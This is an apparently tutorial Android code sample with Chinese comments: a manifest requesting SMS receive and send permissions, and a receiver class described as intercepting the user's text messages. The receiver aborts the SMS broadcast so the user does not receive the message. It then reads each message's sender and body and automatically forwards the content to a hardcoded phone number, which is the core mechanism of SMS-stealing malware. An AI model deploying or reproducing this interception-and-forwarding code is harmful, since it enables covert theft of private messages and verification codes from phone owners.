<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.sms" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="9" android:targetSdkVersion="10" /> <!-- 接收 短信和发送短信的权限 --> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.SEND_SMS" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <!-- 拦截用户短信:短信广播地址:android.provider.Telephony.SMS_RECEIVED --> <receiver android:name=".SMSReceiver" > <intent-filter android:priority="700" > <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> </application> </manifest>
主程序入口:使用广播监听系统短信
package com.example.sms; import android.app.PendingIntent; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.telephony.SmsManager; import android.telephony.SmsMessage; import android.util.Log; import android.widget.Toast; /** * 拦截用于短信 * * @author Administrator * */ public class SMSReceiver extends BroadcastReceiver { public void onReceive(Context context, Intent intent) { if (intent.getAction() .equals("android.provider.Telephony.SMS_RECEIVED")) { // 判断是否为短信的广播 abortBroadcast(); // 终止广播的继续传播 // 得到拦截的短信内容信息 -- 这里可以终止广播的传递,让用户收不到短信 Bundle bundle = intent.getExtras(); // 通过 pdus 获取到接收到的所有短信息 Object[] obj = (Object[]) bundle.get("pdus"); // 构建短信Array , 根据收到信息的数据数 SmsMessage[] smss = new SmsMessage[obj.length]; // 将获取到的短信消息全部封装到 SmsMessage[] 数组对象中 for (int i = 0; i < obj.length; i++) { smss[i] = SmsMessage.createFromPdu((byte[]) obj[i]); // } StringBuilder builder = new StringBuilder(); // 保存数据 PendingIntent pid = PendingIntent.getBroadcast(context, 0, new Intent(), 0); SmsManager smsManager = SmsManager.getDefault(); // 获取管理对象 // 取出每一条信息 for (SmsMessage sms : smss) { String address = sms.getDisplayOriginatingAddress(); // 来源 String content = sms.getDisplayMessageBody(); // 获得短信内容 Log.i("msg", "执行了...来源:" + address); Toast.makeText(context, "发送者:" + address + "\n 内容:" + content, Toast.LENGTH_LONG).show(); // 自动发送短信: //参数:1、目的号码 ; 2、短信服务中心号码 ,null表示默认; 3、短信内容; 4、发送短信结果内容 ; 5、发送短信到目地后的回复信息 smsManager.sendTextMessage("15555215558", null, content, pid, null); } } } }